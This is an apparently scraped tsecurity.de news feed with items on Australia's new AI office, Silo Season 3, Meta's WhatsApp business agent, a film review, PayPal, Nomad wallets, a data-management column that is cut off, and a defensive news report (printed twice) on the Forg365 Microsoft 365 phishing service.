<content:encoded><![CDATA[<p>PM to declare Australia the first country worldwide to bring economic, social, security and environmental issues from AI under single office in major speech</p><ul><li><p>Get our <a href="https://www.theguardian.com/email-newsletters?CMP=cvau_sfl">breaking news email</a>, <a href="https://app.adjust.com/w4u7jx3">free app</a> or <a href="https://www.theguardian.com/australia-news/series/full-story?CMP=cvau_sfl">daily news podcast</a></p></li></ul><p>Anthony Albanese says the federal government will introduce faster approval processes for AI projects, including datacentres, across Australia, seeking to shore up investor certainty and maintain community confidence in the <a href="https://www.theguardian.com/australia-news/2026/jul/14/anthony-albanese-ai-speech-safety-copyright-datacentres-social-licence">rapidly advancing technology</a>.</p><p>Announcing the creation of a new office of AI to be established within his department in a major speech on Wednesday, the prime minister will declare Australia is set to become the first country in the world to bring the economic, social, national security and environmental issues stemming from AI into a single, national framework.</p> <a href="https://www.theguardian.com/technology/2026/jul/14/anthony-albanese-promises-fast-track-approvals-for-datacentres-to-shore-up-ai-investment">Continue reading...</a>]]></content:encoded>
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<title><![CDATA[Silo Season 3’s Two Timelines Explained: How the Past Changes Everything]]></title>
<description><![CDATA[Silo Season 3 follows two timelines separated by more than three centuries, with Juliette Nichols fighting for the truth inside Silo 18 while new characters reveal how the underground world began.




Release date: July 3, 2026



Streaming platform: Apple TV



Episodes: 10



Release schedule: ...]]></description>
<link>https://tsecurity.de/de/3667780/ios-mac-os/silo-season-3s-two-timelines-explained-how-the-past-changes-everything/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3667780/ios-mac-os/silo-season-3s-two-timelines-explained-how-the-past-changes-everything/</guid>
<pubDate>Tue, 14 Jul 2026 13:39:08 +0200</pubDate>
<category>🍏 iOS / Mac OS</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Silo Season 3 follows two timelines separated by more than three centuries, with Juliette Nichols fighting for the truth inside Silo 18 while new characters reveal how the underground world began.




Release date: July 3, 2026



Streaming platform: Apple TV



Episodes: 10



Release schedule: New episode every Friday



Season finale: September 4, 2026



Genre: Science fiction, dystopian drama and political thriller



Based on: Hugh Howey’s Silo novel trilogy



Main cast: Rebecca Ferguson, Common, Tim Robbins, Chinaza Uche and Alexandria Riley



New cast: Ashley Zukerman, Jessica Henwick, Jessica Brown Findlay, Morven Christie, Laura Innes, Reed Birney, Matt Craven and Colin Hanks




Apple has confirmed that Season 3 continues the present-day crisis inside Silo 18 while introducing an origin story set centuries earlier. The two stories initially appear separate, but both explore memory loss, political control and the decisions that eventually forced humanity underground.



Spoilers Ahead for Silo Season 3



The present-day timeline begins after Juliette returns to Silo 18 and prevents its residents from walking outside. Her survival should make her the most trusted person in the silo, but she wakes with major gaps in her memory.



Juliette can no longer clearly remember Bernard, the rebellion or the events that brought her home. Robert Sims and Camille use her condition to influence what she believes, while medication appears to weaken her remaining memories. Even so, brief images from her past suggest that the truth has not disappeared completely.



The Present Timeline Follows Juliette in Silo 18



The first timeline takes place roughly 352 years after the event that destroyed the outside world. Juliette now holds an important position inside Silo 18, but her memory loss leaves her vulnerable to the people controlling information.



Her storyline also reveals a larger plan involving memory manipulation. The Algorithm appears prepared to erase memories across multiple silos through drugs placed in their water supply.



This explains why earlier generations forgot rebellions, historical records and details about the outside world. Juliette’s resistance to the treatment could help her uncover how the silos have controlled their populations for centuries.



The Before Times Reveal How the Crisis Started



The second timeline takes viewers back to Washington, D.C., before the silos became humanity’s permanent home.



Congressman Daniel Keene becomes involved in a political conspiracy connected to an alleged Iranian attack on American soil. His sister Charlotte, a fighter pilot, returns from a secret mission involving a strange substance and begins experiencing memory problems.



Their story turns the series into a political thriller as government officials, military operations and secret experiments move closer to the event that ended normal life on the surface. Showrunner Graham Yost said this section draws inspiration from paranoid thrillers of the 1970s.



How the Two Silo Season 3 Timelines Connect



Memory loss provides the clearest connection between the timelines.



Charlotte experiences missing memories in the Before Times, while Juliette faces similar problems centuries later. This suggests that the technology used to control people inside the silos existed before the underground communities were created.



Daniel and Charlotte’s investigation should eventually explain who designed the silos, why people entered them and how the Algorithm gained control. Meanwhile, Juliette’s story shows the long-term consequences of those decisions.



The timelines are moving toward the same central answer: someone planned the silo system before the world ended, and memory manipulation helped keep that system alive for more than 300 years.



Silo Season 3 releases new episodes every Friday on Apple TV through September 4. What do you think connects Juliette, Charlotte and the creation of the silos? Let us know in the comments.]]></content:encoded>
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<title><![CDATA[Where Meta’s WhatsApp agent can actually win]]></title>
<description><![CDATA[Message a business on WhatsApp this week and you may be greeted by software. On June 3, Meta made its Business AI agent available to companies everywhere, a bot that answers questions, recommends products, books appointments, qualifies sales leads and hands you to a human when it gets stuck. It c...]]></description>
<link>https://tsecurity.de/de/3667537/it-security-nachrichten/where-metas-whatsapp-agent-can-actually-win/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3667537/it-security-nachrichten/where-metas-whatsapp-agent-can-actually-win/</guid>
<pubDate>Tue, 14 Jul 2026 12:07:57 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
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<p class="wp-block-paragraph">Message a business on WhatsApp this week and you may be greeted by software. On June 3, <a href="https://about.fb.com/news/2026/06/meta-business-agent/?utm_source=chatgpt.com">Meta made its Business AI agent available to companies everywhere</a>, a bot that answers questions, recommends products, books appointments, qualifies sales leads and hands you to a human when it gets stuck. It comes bundled in WhatsApp’s premium business tiers, and the largest companies pay for it by the token. After almost two years of testing in markets like India and Mexico, it is now live worldwide.</p>



<p class="wp-block-paragraph">I build AI agents for a living, and this is a good one. It also sits on top of the largest messaging network ever built. WhatsApp passed three billion monthly users last year. Mark Zuckerberg says people now hold more than a billion threads a day with business accounts across Meta’s apps. Paid messaging on WhatsApp crossed a <a href="https://techcrunch.com/2025/05/01/whatsapp-now-has-more-than-3-billion-users/?utm_source=chatgpt.com">two-billion-dollar annual run rate in the fourth quarter of 2025</a>, and click-to-WhatsApp ad revenue grew sixty percent year over year. Meta has spent a decade trying to turn all of that talking into buying, and the agent is its most capable attempt yet.</p>



<p class="wp-block-paragraph">So, picture the moment the agent finishes taking your order. What happens next?</p>



<h2 class="wp-block-heading"><a></a>The model Meta keeps pointing at</h2>



<p class="wp-block-paragraph">In Hangzhou or Shenzhen, the answer is that your order shows up, often within the hour. China fused messaging, payments and shopping into single apps more than a decade ago. WeChat carries roughly 1.4 billion users, an in-app store layer with hundreds of millions of monthly shoppers, and a wallet most of the country pays with. Korea built its own version, where KakaoTalk made chat the default way to send a gift. This is the world Meta gestures at when it imagines what WhatsApp could be.</p>



<p class="wp-block-paragraph">And yet WeChat, the purest “messaging app does commerce” story, is not actually China’s shopping champion, even though it arrived first and is still the bigger app. People do not open a messaging app to browse and shop. The buying went instead to Douyin, the Chinese app run by TikTok’s owner ByteDance, whose endless video feed is engineered to make you want things you were not looking for. WeChat had the users and the wallet, and it still lacked the two things that actually move commerce: A feed that creates demand and a way to deliver the goods. A chat window is neither.</p>



<h2 class="wp-block-heading"><a></a>The moat was never the storefront</h2>



<p class="wp-block-paragraph">Amazon learned the same lesson from the other side. Its moat was never the website. It was the warehouses, the trucks and the two-day promise (then one-day, then same-day) that rivals could not match. In 2025 <a href="https://www.freightwaves.com/news/amazon-overtakes-us-postal-service-as-largest-parcel-carrier?utm_source=chatgpt.com">Amazon passed the US Postal Service to become the largest parcel carrier in the country by volume, moving 6.7 billion packages</a>. Roughly 180 million Americans pay for Prime. The storefront is the part everyone sees; the fulfillment network is the part that wins.</p>



<p class="wp-block-paragraph">Asia’s commerce leaders made the same bet. Coupang built Korea’s Amazon by pouring billions into logistics: Order by midnight, and it arrives before 7 a.m., weekends included. Seven in ten Koreans now live within ten minutes of a Coupang warehouse. Even Alibaba, which grew up as an asset-light marketplace that owned no trucks, eventually concluded it had to build a logistics arm to keep pace.</p>



<p class="wp-block-paragraph">Speed sells, too. In China, McKinsey found, live shopping converts viewers into buyers at rates approaching 30 percent, roughly ten times an ordinary web page, because the fulfillment behind it delivers the impulse before it cools. The conversation creates the want, but the warehouse turns it into a sale.</p>



<h2 class="wp-block-heading"><a></a>Even where messaging rules</h2>



<p class="wp-block-paragraph">Korea shows what a messenger can and cannot win. KakaoTalk is the country’s WhatsApp, and it owns one kind of commerce completely: gifting. Koreans send presents straight from the chat window, close to 200 million of them in 2025, which is nearly all of the country’s mobile gifting. But notice what kind of commerce that is. A gift voucher or a coffee coupon needs no warehouse. The moment a purchase becomes a physical thing that has to arrive fast, the winner is no longer the messenger but Coupang and its dawn-delivery network. KakaoTalk owns the commerce that fits inside a message; Coupang owns the commerce that needs a truck.</p>



<p class="wp-block-paragraph">Japan makes the same point in the negative. LINE is about as dominant a messenger as exists anywhere, reaching 97 million people, close to 78 percent of the country. If messaging reach alone turned into commerce, LINE would own Japanese retail. Instead, it shut down its own payments service in 2025 and handed the wallet to a rival, while the actual shopping stayed with Rakuten and Amazon Japan. The most-used chat app in the country could not turn that reach into owning what people buy.</p>



<p class="wp-block-paragraph">Every market tells the same story: A chat app does not win physical commerce. Whoever owns the warehouse does.</p>



<h2 class="wp-block-heading"><a></a>What Meta is missing</h2>



<p class="wp-block-paragraph">Which brings us back to the WhatsApp agent, where Meta starts further ahead than WeChat ever did. Through Instagram and Reels it owns the demand-making feed WeChat never had, the agent gives it the sales conversation, and in the West, paying by card is universal. Only the last pillar is missing. Meta has no warehouses, no trucks, no delivery promise of its own and the few times it reached for the pieces around the sale, it pulled back: Its own wallet, Meta Pay, never became something people use, and in 2025 it wound down in-app checkout for Facebook and Instagram Shops, sending buyers back to merchants’ own sites to pay, ship and handle returns. Even Marketplace, its billion-user listings surface, mostly stays out of the transaction itself.</p>



<p class="wp-block-paragraph">And in the West, that last pillar is already spoken for. The West did fuse commerce, just not around chat. Amazon long ago combined the storefront, the payment, its own branded credit cards and the expensive part, the warehouses and the trucks, into one app that owns the American purchase from search to doorstep. That is the same kind of vertical integration China’s commerce giants built, with players like Alibaba and JD racing into a market where no Amazon yet stood in the way. In the US, that lane was filled years ago.</p>



<h2 class="wp-block-heading"><a></a>The other half</h2>



<p class="wp-block-paragraph">None of this makes the agent a mistake. It is already a booming ad business for Meta, and maybe that is all Meta wants it to be: Commerce’s front door, sending the shopper onward and billing the merchant for the introduction.</p>



<p class="wp-block-paragraph">But goods are only half of commerce, and the other half never needed a warehouse. Remember what KakaoTalk won: Gifting, the one kind of buying that ships nothing. Services are the same, only far bigger. A haircut, a dental cleaning, a training session, a plumber’s visit, a tutor’s hour: None of it sits in a fulfillment center. The transaction is a booking, not a box.</p>



<p class="wp-block-paragraph">And a booking is exactly what the agent is built to take. Look at the feature Meta put in its own announcement, right beside answering questions and recommending products: It books appointments. For a salon, a clinic or a one-person studio, that is a front desk. Give it the two pieces still missing, a calendar to hold the schedule and a way to take payment inside the chat, and WhatsApp stops being where those businesses message customers and becomes where they run the day.</p>



<p class="wp-block-paragraph">None of it needs a warehouse, and none of it is Amazon’s to defend. Does that put Meta on a collision course with Square and Mindbody?</p>



<p class="wp-block-paragraph"><strong>This article is published as part of the Foundry Expert Contributor Network.</strong><br><a href="https://www.cio.com/expert-contributor-network/"><strong>Want to join?</strong></a></p>
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<title><![CDATA[Synthetic Sincerity review – Marc Isaacs’ AI interrogation grapples with identity and existence]]></title>
<description><![CDATA[A combination of fact and fiction leaves the celebrated documentarian’s puzzling project about software training wanting for depthMarc Isaacs’ new film is a curious, intriguing, semi-sincere affair that I couldn’t make friends with. It is an odd, shallow piece of work about artificial intelligenc...]]></description>
<link>https://tsecurity.de/de/3667526/ai-nachrichten/synthetic-sincerity-review-marc-isaacs-ai-interrogation-grapples-with-identity-and-existence/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3667526/ai-nachrichten/synthetic-sincerity-review-marc-isaacs-ai-interrogation-grapples-with-identity-and-existence/</guid>
<pubDate>Tue, 14 Jul 2026 12:03:44 +0200</pubDate>
<category>🔧 AI Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>A combination of fact and fiction leaves the celebrated documentarian’s puzzling project about software training wanting for depth</p><p>Marc Isaacs’ new film is a curious, intriguing, semi-sincere affair that I couldn’t make friends with. It is an odd, shallow piece of work about artificial intelligence that is itself exasperatingly artificial, a self-aware docudrama hybrid. Isaacs is, or rather pretends to be, licensing the vivid characters from his previous, acclaimed documentaries to a fictional AI research lab called Synthetic Sincerity at the fictional University of Southern England, so that the lab’s software can be “trained” in the creation of AI human figures on screen.</p><p>The lab’s research staff are played by actors, or at any rate people acting; these include Lebanese independent film-maker Lynn El Safah. Isaacs has amusing scripted conversations about this project with a disapproving AI avatar on screen, like Max Headroom of old, whose face is digitally modelled on Romanian actor Ilinca Manolache, from Radu Jude’s <a href="https://www.theguardian.com/film/2023/aug/04/do-not-expect-too-much-from-the-end-of-the-world-review-locarno">Do Not Expect Too Much from the End of the World</a>. The film, however, does not show the process by which Manolache was approached and her face transformed into an AI figure.</p> <a href="https://www.theguardian.com/film/2026/jul/14/synthetic-sincerity-review-marc-isaacs-ai">Continue reading...</a>]]></content:encoded>
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<title><![CDATA[PayPal und Google Wallet: Das ändert sich jetzt]]></title>
<description><![CDATA[Nach dem Ende der Kooperation mit Google erhält die PayPal-App ein überarbeitetes Design. Wo Sie künftig die wichtigsten Funktionen finden, weiß COMPUTER BILD.]]></description>
<link>https://tsecurity.de/de/3667522/it-nachrichten/paypal-und-google-wallet-das-aendert-sich-jetzt/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3667522/it-nachrichten/paypal-und-google-wallet-das-aendert-sich-jetzt/</guid>
<pubDate>Tue, 14 Jul 2026 12:02:54 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Nach dem Ende der Kooperation mit Google erhält die PayPal-App ein überarbeitetes Design. Wo Sie künftig die wichtigsten Funktionen finden, weiß COMPUTER BILD.]]></content:encoded>
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<title><![CDATA[Forg365 industrializes Microsoft 365 phishing with AI-generated lures]]></title>
<description><![CDATA[A newly documented phishing-as-a-service platform distributed through Telegram is lowering the technical barrier to Microsoft 365 account takeovers by giving less-skilled attackers automated tools to evade some authentication controls and retain access after compromise.



The platform, called Fo...]]></description>
<link>https://tsecurity.de/de/3667518/it-nachrichten/forg365-industrializes-microsoft-365-phishing-with-ai-generated-lures/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3667518/it-nachrichten/forg365-industrializes-microsoft-365-phishing-with-ai-generated-lures/</guid>
<pubDate>Tue, 14 Jul 2026 12:02:47 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
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<p class="wp-block-paragraph">A newly documented <a href="https://www.csoonline.com/article/4176814/security-experts-caution-mfa-alone-can-no-longer-stop-threat-actors.html" target="_blank">phishing-as-a-service</a> platform distributed through Telegram is lowering the technical barrier to Microsoft 365 account takeovers by giving less-skilled attackers automated tools to evade some authentication controls and retain access after compromise.</p>



<p class="wp-block-paragraph">The platform, called Forg365, uses AI-assisted lure creation alongside device-code abuse and adversary-in-the-middle techniques, according to research published by security company <a href="https://zerobec.com/blog/inside-forg365-telegram-distributed-sneaky2fa-style-phaas" target="_blank" rel="noreferrer noopener">ZeroBEC</a>.</p>



<p class="wp-block-paragraph">Forg365 was offered with a five-day free trial, followed by subscriptions priced at $400 per month or $3,800 per year, the researchers said.</p>



<p class="wp-block-paragraph">Customers can build phishing lures and control email delivery through a single operator panel. They can also manage captured account data and monitor compromised Microsoft 365 mailboxes. The service includes templates that impersonate widely used business platforms such as DocuSign, Adobe Acrobat Sign, SharePoint, and OneDrive.</p>



<p class="wp-block-paragraph">“Phishing-as-a-service has been around for quite a few years,” said <a href="https://omdia.tech.informa.com/authors/jonathan-ong" target="_blank" rel="noreferrer noopener">Jonathan Ong</a>, senior analyst for managed security services at Omdia. “But the degree to which AI is integrated into Forg365 and enables users is what makes it concerning.”</p>



<p class="wp-block-paragraph">Forg365’s significance lies in the industrialization and productization of the operator workflow, according to <a href="https://www.linkedin.com/in/devashri-datta-522b364b/" target="_blank" rel="noreferrer noopener">Devashri Datta</a>, a cybersecurity researcher. “It integrates AI-assisted lure creation, evasion, and post-compromise mailbox operations into a subscription service distributed through Telegram,” Datta said.</p>



<h2 class="wp-block-heading">How Forg365 works</h2>



<p class="wp-block-paragraph">ZeroBEC said the campaign it investigated began with an email built around a business-document and remittance-approval pretext. The message relied on legitimate cloud and email services before sending the recipient through several redirects.</p>



<p class="wp-block-paragraph">Forg365 classified visitors before deciding whether to display a device-code phishing page, an adversary-in-the-middle flow, or a harmless decoy.</p>



<p class="wp-block-paragraph">In the device-code attack, the victim is directed to a legitimate Microsoft authentication process and persuaded to enter a code that authorizes a session controlled by the attacker. The involvement of genuine Microsoft infrastructure can make the request appear credible.</p>



<p class="wp-block-paragraph">The platform can also relay authentication through an adversary-in-the-middle attack and capture session information. ZeroBEC said suspicious visitors were diverted to a benign page, helping the operators conceal the phishing flow from researchers and automated security tools.</p>



<h2 class="wp-block-heading">Complicating incident response</h2>



<p class="wp-block-paragraph">A browser extension called ForgCookie allows attackers to generate and refresh Microsoft single sign-on cookies from their own browsers, ZeroBEC said.</p>



<p class="wp-block-paragraph">Forg365 also advertises tools for keeping sessions active and monitoring a compromised inbox. Read-only access to the mailbox can then be shared through a password-protected link.</p>



<p class="wp-block-paragraph">As a result, resetting a password may not remove the attacker. Stolen refresh-token material or an attacker-controlled session could remain usable after the password is changed. Any devices registered during the compromise must also be investigated.</p>



<p class="wp-block-paragraph">“CISOs should treat two controls as co-equal priorities rather than sequential ones,” Datta said, referring to tightly restricting device-code authentication and deploying <a href="https://www.csoonline.com/article/574265/why-it-might-be-time-to-consider-using-fido-based-authentication-devices.html">phishing-resistant MFA</a> such as FIDO2 or WebAuthn passkeys.</p>



<p class="wp-block-paragraph">Organizations that do not require device-code authentication should consider <a href="https://www.csoonline.com/article/4134874/new-phishing-campaign-tricks-employees-into-bypassing-microsoft-365-mfa.html">blocking it in Microsoft Entra ID</a>, said <a href="https://confidis.co/about/our-leadership-team/" target="_blank" rel="noreferrer noopener">Keith Prabhu</a>, founder and CEO of Confidis. This can disrupt the device-code component of a Forg365 campaign, although it would not stop attacks that rely on adversary-in-the-middle techniques or stolen session cookies.</p>



<p class="wp-block-paragraph">Companies that still depend on device-code authentication should identify legitimate uses before imposing a broader restriction. Exceptions may be needed for some command-line tools, conference-room systems or other devices with limited input capabilities.</p>



<p class="wp-block-paragraph">Deploying phishing-resistant authentication may also require hardware security keys or managed smartphones and could increase support requests during the transition, Datta said.</p>



<p class="wp-block-paragraph">After detecting a compromise, response teams should revoke active refresh tokens and terminate existing sessions. Prabhu also recommended reviewing and revoking unauthorized OAuth permissions. Because ForgCookie runs in the attacker’s browser, defenders should look for repeated silent sign-ins and non-interactive Microsoft Graph activity from unfamiliar addresses, according to ZeroBEC.</p>



<p class="wp-block-paragraph">Mailbox forwarding rules and delegated access should be reviewed for unauthorized changes, Prabhu said. Such changes could allow attackers to monitor communications or retain access after a password reset.</p>



<p class="wp-block-paragraph">“IR teams should audit newly registered devices and remove any that cannot be attributed to the user,” Datta said. Teams should also check whether an attacker enrolled an unauthorized authenticator application or passkey during the compromise, she added.</p>



<p class="wp-block-paragraph">ZeroBEC found that some devices registered during its investigation had names beginning with “Forg365,” giving defenders a possible indicator of compromise.</p>



<p class="wp-block-paragraph"><em>The article originally appeared on <a href="https://www.csoonline.com/article/4196646/phishing-for-dummies-forg365-lowers-barrier-to-m365-account-takeovers.html">CSO</a>.</em></p>
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<title><![CDATA[Phishing for dummies: Forg365 lowers barrier to M365 account takeovers]]></title>
<description><![CDATA[A newly documented phishing-as-a-service platform distributed through Telegram is lowering the technical barrier to Microsoft 365 account takeovers by giving less-skilled attackers automated tools to evade some authentication controls and retain access after compromise.



The platform, called Fo...]]></description>
<link>https://tsecurity.de/de/3667490/it-security-nachrichten/phishing-for-dummies-forg365-lowers-barrier-to-m365-account-takeovers/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3667490/it-security-nachrichten/phishing-for-dummies-forg365-lowers-barrier-to-m365-account-takeovers/</guid>
<pubDate>Tue, 14 Jul 2026 11:54:37 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
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<p class="wp-block-paragraph">A newly documented <a href="https://www.csoonline.com/article/4176814/security-experts-caution-mfa-alone-can-no-longer-stop-threat-actors.html" target="_blank">phishing-as-a-service</a> platform distributed through Telegram is lowering the technical barrier to Microsoft 365 account takeovers by giving less-skilled attackers automated tools to evade some authentication controls and retain access after compromise.</p>



<p class="wp-block-paragraph">The platform, called Forg365, uses AI-assisted lure creation alongside device-code abuse and adversary-in-the-middle techniques, according to research published by security company <a href="https://zerobec.com/blog/inside-forg365-telegram-distributed-sneaky2fa-style-phaas" target="_blank" rel="noreferrer noopener">ZeroBEC</a>.</p>



<p class="wp-block-paragraph">Forg365 was offered with a five-day free trial, followed by subscriptions priced at $400 per month or $3,800 per year, the researchers said.</p>



<p class="wp-block-paragraph">Customers can build phishing lures and control email delivery through a single operator panel. They can also manage captured account data and monitor compromised Microsoft 365 mailboxes. The service includes templates that impersonate widely used business platforms such as DocuSign, Adobe Acrobat Sign, SharePoint, and OneDrive.</p>



<p class="wp-block-paragraph">“Phishing-as-a-service has been around for quite a few years,” said <a href="https://omdia.tech.informa.com/authors/jonathan-ong" target="_blank" rel="noreferrer noopener">Jonathan Ong</a>, senior analyst for managed security services at Omdia. “But the degree to which AI is integrated into Forg365 and enables users is what makes it concerning.”</p>



<p class="wp-block-paragraph">Forg365’s significance lies in the industrialization and productization of the operator workflow, according to <a href="https://www.linkedin.com/in/devashri-datta-522b364b/" target="_blank" rel="noreferrer noopener">Devashri Datta</a>, a cybersecurity researcher. “It integrates AI-assisted lure creation, evasion, and post-compromise mailbox operations into a subscription service distributed through Telegram,” Datta said.</p>



<h2 class="wp-block-heading">How Forg365 works</h2>



<p class="wp-block-paragraph">ZeroBEC said the campaign it investigated began with an email built around a business-document and remittance-approval pretext. The message relied on legitimate cloud and email services before sending the recipient through several redirects.</p>



<p class="wp-block-paragraph">Forg365 classified visitors before deciding whether to display a device-code phishing page, an adversary-in-the-middle flow, or a harmless decoy.</p>



<p class="wp-block-paragraph">In the device-code attack, the victim is directed to a legitimate Microsoft authentication process and persuaded to enter a code that authorizes a session controlled by the attacker. The involvement of genuine Microsoft infrastructure can make the request appear credible.</p>



<p class="wp-block-paragraph">The platform can also relay authentication through an adversary-in-the-middle attack and capture session information. ZeroBEC said suspicious visitors were diverted to a benign page, helping the operators conceal the phishing flow from researchers and automated security tools.</p>



<h2 class="wp-block-heading">Complicating incident response</h2>



<p class="wp-block-paragraph">A browser extension called ForgCookie allows attackers to generate and refresh Microsoft single sign-on cookies from their own browsers, ZeroBEC said.</p>



<p class="wp-block-paragraph">Forg365 also advertises tools for keeping sessions active and monitoring a compromised inbox. Read-only access to the mailbox can then be shared through a password-protected link.</p>



<p class="wp-block-paragraph">As a result, resetting a password may not remove the attacker. Stolen refresh-token material or an attacker-controlled session could remain usable after the password is changed. Any devices registered during the compromise must also be investigated.</p>



<p class="wp-block-paragraph">“CISOs should treat two controls as co-equal priorities rather than sequential ones,” Datta said, referring to tightly restricting device-code authentication and deploying <a href="https://www.csoonline.com/article/574265/why-it-might-be-time-to-consider-using-fido-based-authentication-devices.html">phishing-resistant MFA</a> such as FIDO2 or WebAuthn passkeys.</p>



<p class="wp-block-paragraph">Organizations that do not require device-code authentication should consider <a href="https://www.csoonline.com/article/4134874/new-phishing-campaign-tricks-employees-into-bypassing-microsoft-365-mfa.html">blocking it in Microsoft Entra ID</a>, said <a href="https://confidis.co/about/our-leadership-team/" target="_blank" rel="noreferrer noopener">Keith Prabhu</a>, founder and CEO of Confidis. This can disrupt the device-code component of a Forg365 campaign, although it would not stop attacks that rely on adversary-in-the-middle techniques or stolen session cookies.</p>



<p class="wp-block-paragraph">Companies that still depend on device-code authentication should identify legitimate uses before imposing a broader restriction. Exceptions may be needed for some command-line tools, conference-room systems or other devices with limited input capabilities.</p>



<p class="wp-block-paragraph">Deploying phishing-resistant authentication may also require hardware security keys or managed smartphones and could increase support requests during the transition, Datta said.</p>



<p class="wp-block-paragraph">After detecting a compromise, response teams should revoke active refresh tokens and terminate existing sessions. Prabhu also recommended reviewing and revoking unauthorized OAuth permissions. Because ForgCookie runs in the attacker’s browser, defenders should look for repeated silent sign-ins and non-interactive Microsoft Graph activity from unfamiliar addresses, according to ZeroBEC.</p>



<p class="wp-block-paragraph">Mailbox forwarding rules and delegated access should be reviewed for unauthorized changes, Prabhu said. Such changes could allow attackers to monitor communications or retain access after a password reset.</p>



<p class="wp-block-paragraph">“IR teams should audit newly registered devices and remove any that cannot be attributed to the user,” Datta said. Teams should also check whether an attacker enrolled an unauthorized authenticator application or passkey during the compromise, she added.</p>



<p class="wp-block-paragraph">ZeroBEC found that some devices registered during its investigation had names beginning with “Forg365,” giving defenders a possible indicator of compromise.</p>
</div></div></div></div>]]></content:encoded>
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<title><![CDATA[Hochwertige Leder-Wallets von Nomad in limitierter Sonderauflage]]></title>
<description><![CDATA[Nomad, bekannt für hochwertige Leder-Cases und Watch-Armbänder, liefert jetzt drei neue Wallets in der limitierten Sonderauflage „Olde Dublin“ aus. Die Geldbörsen sind diesmal als eigenständiges Produkt zu verstehen, denn es handelt sich um klassische Portemonnaies. Wer auf der Suche nach einem P...]]></description>
<link>https://tsecurity.de/de/3667472/ios-mac-os/hochwertige-leder-wallets-von-nomad-in-limitierter-sonderauflage/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3667472/ios-mac-os/hochwertige-leder-wallets-von-nomad-in-limitierter-sonderauflage/</guid>
<pubDate>Tue, 14 Jul 2026 11:40:13 +0200</pubDate>
<category>🍏 iOS / Mac OS</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>Nomad, bekannt für hochwertige Leder-Cases und Watch-Armbänder, liefert jetzt drei neue Wallets in der limitierten Sonderauflage „Olde Dublin“ aus. Die Geldbörsen sind diesmal als eigenständiges Produkt zu verstehen, denn es handelt sich um klassische Portemonnaies. Wer auf der Suche nach einem Premium-Wallet aus hochwertigem Horween-Leder ist, kann sich die drei Neuheiten im Folgenden genauer ansehen. […]</p>
<p>Der Beitrag <a href="https://www.appgefahren.de/hochwertige-leder-wallets-von-nomad-in-limitierter-sonderauflage-402256.html">Hochwertige Leder-Wallets von Nomad in limitierter Sonderauflage</a> erschien zuerst auf <a href="https://www.appgefahren.de/">appgefahren.de</a>.</p>]]></content:encoded>
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<title><![CDATA[The essence of data management CIOs must embrace]]></title>
<description><![CDATA[Since the advent of generative AI, the use of AI in business has shifted from something we should do to something we must do to survive. Many companies are now working to utilize AI with the aim of improving productivity and creating value.



Here, I would like to pose a question to you all once...]]></description>
<link>https://tsecurity.de/de/3667389/it-security-nachrichten/the-essence-of-data-management-cios-must-embrace/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3667389/it-security-nachrichten/the-essence-of-data-management-cios-must-embrace/</guid>
<pubDate>Tue, 14 Jul 2026 11:08:51 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
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<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p class="wp-block-paragraph">Since the advent of generative AI, the use of AI in business has shifted from something we should do to something we must do to survive. Many companies are now working to utilize AI with the aim of improving productivity and creating value.</p>



<p class="wp-block-paragraph">Here, I would like to pose a question to you all once again: “What is the fundamental factor that determines AI performance?”</p>



<p class="wp-block-paragraph">Is it the AI model? Is it the AI tool? Or is it the AI agent?</p>



<p class="wp-block-paragraph">Of course, I believe all of these are important. However, if we look at the long-term perspective, the competition among multiple companies to improve AI model performance will eventually level off, and we will eventually reach a point where every AI model is amazing!</p>



<p class="wp-block-paragraph">In that context, what I believe is the most important factor influencing AI performance is the data accumulated by companies that connects to their unique strengths.</p>



<p class="wp-block-paragraph">For example, if asked, “What do plants need to grow?” I would say “good water and light.”</p>



<p class="wp-block-paragraph">Similarly, if asked, “What do people need to thrive?” I would say, “Kind words.”</p>



<p class="wp-block-paragraph">Finally, “What does AI need to thrive?” The answer is “good data.”</p>



<p class="wp-block-paragraph">I believe that the extent to which companies can genuinely understand the importance of this extremely simple principle and implement it with unwavering dedication will determine their ability to establish a competitive advantage and achieve sustainable growth.</p>



<h2 class="wp-block-heading">AI is a mirror of data</h2>



<p class="wp-block-paragraph">As I’m sure you’re all aware, AI is by no means a magic wand. It is an entity that learns based on the data it is given and makes inferences within that scope. In other words, AI’s output depends heavily on the quality of its input data; one could say that AI is a mirror of data.</p>



<ul class="wp-block-list">
<li>If you feed it inaccurate data, it will return inaccurate results (i.e., garbage in, garbage out)</li>



<li>If you feed it biased data, it will make biased judgments</li>



<li>Insufficient data yields only shallow insights and suggestions</li>
</ul>



<p class="wp-block-paragraph">In this way, AI is not smart but rather faithful to the data. Based on this premise, it becomes clear that the essence of AI utilization lies not in which tools to use, but in what kind of high-quality data to prepare and how to utilize it.</p>



<h2 class="wp-block-heading">What is good data?</h2>



<p class="wp-block-paragraph">So, what exactly is good data?</p>



<p class="wp-block-paragraph">It goes without saying that data is useless if it is merely abundant in quantity, but on the other hand, what specific qualities must good data possess?</p>



<p class="wp-block-paragraph">Generally speaking, good data possesses at least the following elements.</p>



<ul class="wp-block-list">
<li><strong>Accuracy:</strong> Data containing many errors or noise will skew conclusions, no matter how advanced the analysis. It is important to minimize sensor errors, input mistakes and duplicates.</li>



